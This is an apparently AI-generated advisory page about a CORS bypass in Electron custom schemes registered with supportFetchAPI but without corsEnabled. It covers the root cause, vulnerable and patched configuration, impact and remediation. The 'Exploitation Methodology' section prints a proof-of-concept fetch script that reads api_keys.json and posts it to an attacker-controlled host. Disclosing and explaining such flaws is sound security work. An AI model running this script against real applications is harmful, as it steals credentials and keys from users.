CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-70604

CVE-2026-70604: Cross-Origin Resource Sharing (CORS) Bypass in Electron Custom Schemes

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 5, 2026·6 min read·78 visits

Executive Summary (TL;DR)

Electron custom protocols lacked CORS checks when supportFetchAPI was enabled without explicit corsEnabled configurations. This permitted remote pages to read sensitive local assets cross-origin.

Electron custom schemes registered with supportFetchAPI: true but without corsEnabled: true failed to apply CORS enforcement in versions prior to 39.8.10, 40.9.3, 41.4.0, and 42.0.0. This mapping discrepancy allowed malicious remote pages to issue cross-origin requests, read sensitive local response data, and bypass Same-Origin Policy (SOP) mechanisms.

Vulnerability Overview

Electron allows developers to define custom URI schemes (e.g., app-data://) to handle local assets or application logic within the renderer process. These schemes are registered via the Main Process using protocol.registerSchemesAsPrivileged(), which grants specific web-like privileges to the custom protocol so it can interact with internal web mechanisms.

The vulnerability, identified as CVE-2026-70604, is a classic Same-Origin Policy (SOP) bypass stemming from a mapping mismatch between Electron's privilege registration and Chromium's network-security configuration engine. Under certain conditions, remote origins could fetch and read arbitrary data served by these custom schemes.

The flaw specifically targets applications that register custom schemes with the supportFetchAPI privilege enabled but omit the corsEnabled configuration. This combination inadvertently disables standard cross-origin verification checks, exposing sensitive internal application interfaces to untrusted remote websites loaded in any renderer instance.

Root Cause Analysis

Custom protocols in Electron can be configured with multiple flags, including supportFetchAPI and corsEnabled. The supportFetchAPI parameter enables standard JavaScript network APIs (fetch, XMLHttpRequest) to query the scheme, while corsEnabled instructs Chromium to subject the scheme to standard Cross-Origin Resource Sharing rules.

In vulnerable versions of Electron, registering a scheme with supportFetchAPI: true and corsEnabled: false (or leaving it undefined) created an insecure configuration state. Chromium registered the scheme's ability to process network operations but failed to enforce CORS policy checks. This failure meant that instead of defaulting to a restrictive "same-origin-only" stance, the engine allowed cross-origin requests without validation.

The underlying issue lies in how Electron handles scheme capabilities inside Chromium's SchemeRegistry. When corsEnabled is omitted or set to false, Electron's registration code did not properly signal Chromium to treat the scheme as a restricted local resource that must reject cross-origin requests. Consequently, the browser engine allowed remote web content to access the response payload.

To trigger the vulnerability, an attacker must inject or load a malicious remote origin into an Electron BrowserWindow that hosts the insecurely configured custom scheme. Since the custom scheme does not require authentication and has CORS checks deactivated, any standard API call from the untrusted web context successfully extracts local application data.

Code Analysis

The vulnerability is remediated by modifying how Electron registers custom schemes within Chromium's network stack. Specifically, the patch ensures that any custom scheme utilizing the Fetch API is automatically subjected to CORS validations unless explicitly configured otherwise under highly controlled parameters.

The following code block demonstrates how developers register schemes in the Main Process. If corsEnabled is missing or false under vulnerable versions, the protection fails:

// Vulnerable Registration Method
protocol.registerSchemesAsPrivileged([
  {
    scheme: 'app-internal',
    privileges: {
      supportFetchAPI: true, // Enabled fetch operations
      corsEnabled: false,    // CORS is not enforced, leading to SOP bypass
      secure: true
    }
  }
]);

The patch alters the internal C++ registry of Electron to verify that schemes configured with supportFetchAPI default to strict CORS checks. The internal implementation enforces corsEnabled behavior as the default fallback when supportFetchAPI is active, closing the open mapping gap.

The corrected configuration pattern forces the browser to evaluate CORS headers. If the custom protocol handler does not respond with appropriate Access-Control-Allow-Origin values, the browser's network service drops the transaction:

// Patched Configuration Pattern
protocol.registerSchemesAsPrivileged([
  {
    scheme: 'app-internal',
    privileges: {
      supportFetchAPI: true,
      corsEnabled: true, // Mandated to prevent cross-origin leakage
      secure: true
    }
  }
]);

Exploitation Methodology

An exploitation scenario requires an attacker to control the content rendered in an active Electron window or frame. This control can be achieved by loading an external malicious URL, exploiting a cross-site scripting (XSS) vulnerability on a legitimate remote site, or leveraging an open redirect within the application.

Once running in the renderer process, the attacker's script initiates a standard JavaScript fetch() request targeting the custom protocol, such as app-internal://config/session.json. Because Chromium's CORS enforcement mechanism is bypassed, the browser executes the request, retrieves the response, and grants the script full access to the response body.

The recovered sensitive data, which might include private configuration variables, authentication tokens, or localized application state, is then exfiltrated to an attacker-controlled listener. The following proof-of-concept script demonstrates how an attacker can leverage this bypass to siphon target data:

// Script executed from remote origin (e.g., https://attacker-controlled-server.xyz)
const target = 'app-internal://config/api_keys.json';
fetch(target)
  .then(res => res.json())
  .then(data => {
    // Exfiltrate stolen configuration properties
    fetch('https://attacker-controlled-server.xyz/log', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ exfiltrated: data })
    });
  })
  .catch(err => console.error('Exploit failed', err));

This process bypasses conventional security boundaries. Even if the renderer process runs with contextIsolation enabled and nodeIntegration disabled, the web application context still retains access to standard web APIs like fetch(), making this exploit highly reliable and independent of Node.js integration status.

Impact Assessment

The capability to read arbitrary responses from a custom protocol presents a critical risk to confidentiality. Many Electron applications utilize custom protocols to host local databases, load application code, manage user sessions, or interact with private hardware resources.

The vulnerability is assigned a CVSS score of 7.4 (High Severity), with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N. The Scope metric is set to "Changed" because the vulnerability permits a remote origin to break the browser's origin boundary and read resources associated with a completely distinct custom scheme origin.

This flaw does not directly enable remote code execution or file system writes, as it is strictly a read-based policy bypass. However, the exfiltrated credentials, cryptographic keys, or session identifiers can frequently be leveraged in secondary attack chains to compromise broader application systems or corporate networks.

Remediation & Mitigation Strategy

To fully resolve the security risk, applications must be updated to an Electron release containing the official patch. The vulnerability is fixed in versions 39.8.10, 40.9.3, 41.4.0, and 42.0.0. Upgrading these packages ensures that the custom scheme mapping interface is securely bound within the Chromium network service.

If an immediate framework upgrade is unfeasible, developers should audit their scheme privilege registrations. If a custom scheme does not require interaction from standard network APIs, supportFetchAPI should be configured as false. This adjustment removes the protocol from the Chromium network fetch pipeline, eliminating the attack vector.

If cross-origin capabilities are required, developers must explicitly configure corsEnabled: true. This setting forces Chromium to validate incoming requests against strict CORS parameters, requiring the protocol handler to validate the Origin header and emit appropriate Access-Control headers before permitting read access.

In addition to scheme-level configurations, developers should enforce strict Content Security Policies (CSP) within their renderers. A robust CSP that restricts connect-src directives to trusted hosts can prevent the exfiltration of stolen data, providing a critical layer of defense-in-depth.

Official Patches

ElectronGitHub Security Advisory GHSA-v3j7-r9gq-3gjw

Technical Appendix

CVSS Score
7.4/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Affected Systems

Electron Framework

Affected Versions Detail

Product
Affected Versions
Fixed Version
Electron
Electron
< 39.8.1039.8.10
Electron
Electron
>= 40.0.0, < 40.9.340.9.3
Electron
Electron
>= 41.0.0, < 41.4.041.4.0
Electron
Electron
>= 42.0.0, < 42.0.042.0.0
AttributeDetail
CWE IDCWE-942: Permissive Cross-domain Policy with Untrusted Domains
Attack VectorNetwork (AV:N)
CVSS v3.17.4 (High Severity)
Exploit StatusPoC (Proof-of-Concept) Available
KEV StatusNot Listed
ImpactConfidentiality Bypass / Same-Origin Policy (SOP) Break

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1539Steal Web Session Cookie
Credential Access
CWE-942
Permissive Cross-domain Policy with Untrusted Domains

The application does not properly restrict or enforce cross-origin restrictions when processing network communications from untrusted origins, allowing sensitive local state information to be read.

Vulnerability Timeline

Vulnerability published via GitHub Security Advisory
2026-08-05
CVE-2026-70604 assigned and published
2026-08-05

References & Sources

  • [1]GitHub Security Advisory GHSA-v3j7-r9gq-3gjw
  • [2]CVE-2026-70604 CVE Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 19 hours ago•CVE-2026-12411
8.4

CVE-2026-12411: Cross-Guest Volume Hijack via DevLXD Device PATCH in Canonical LXD

CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 19 hours ago•CVE-2026-105769
9.3

CVE-2026-105769: Azure Entra ID Token Exfiltration in Kaniko via Unanchored ACR Hostname Regex

CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.

Amit Schendel
Amit Schendel
10 views•11 min read
•about 21 hours ago•CVE-2026-62300
6.5

CVE-2026-62300: Uncontrolled Resource Consumption in filecoin-pin Daemon

CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.

Amit Schendel
Amit Schendel
8 views•11 min read
•about 22 hours ago•CVE-2026-61536
7.5

CVE-2026-61536: Remote Code Execution via Unsafe Reflection in masci/banks CompletionExtension

CVE-2026-61536 is a high-severity Remote Code Execution (RCE) vulnerability in the masci/banks Python library prior to version 2.4.3. The flaw exists within the CompletionExtension component, which parses JSON-serialized Tool definitions directly from rendered Jinja template bodies inside {% completion %} blocks. When handling tool calls returned by an LLM, the library dynamically resolves the target callable using importlib.import_module() and getattr() based on an unvalidated import_path string. An attacker who can supply or modify prompt templates can inject a malicious Tool JSON object pointing to arbitrary Python functions (such as os.system), bypassing the Jinja SandboxedEnvironment introduced in version 2.4.2 and achieving arbitrary code execution when the LLM invokes the tool.

Alon Barad
Alon Barad
9 views•10 min read
•2 days ago•CVE-2026-93363
4.3

CVE-2026-93363: Improper Access Control in Payload CMS Storage Upload Route

Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.

Alon Barad
Alon Barad
7 views•9 min read
•2 days ago•CVE-2026-55098
6.5

CVE-2026-55098: Cross-Database Authorization Bypass via DuckDB Table-Valued I/O Functions in Basekick-Labs Arc

CVE-2026-55098 (GHSA-93cm-2v4m-c56c) is an authorization bypass and sensitive information disclosure vulnerability in Basekick-Labs Arc prior to version 26.06.2. The flaw stems from an incomplete remediation of CVE-2026-47735, which failed to restrict the full suite of DuckDB table-valued filesystem I/O functions and quoted-identifier invocations. Because Arc's query parser ignores function calls during table reference extraction, authenticated users with minimal or empty permissions can invoke functions like parquet_scan(), glob(), and read_blob() to read, enumerate, and extract telemetry data across all tenant databases residing within the shared local storage root.

Alon Barad
Alon Barad
7 views•10 min read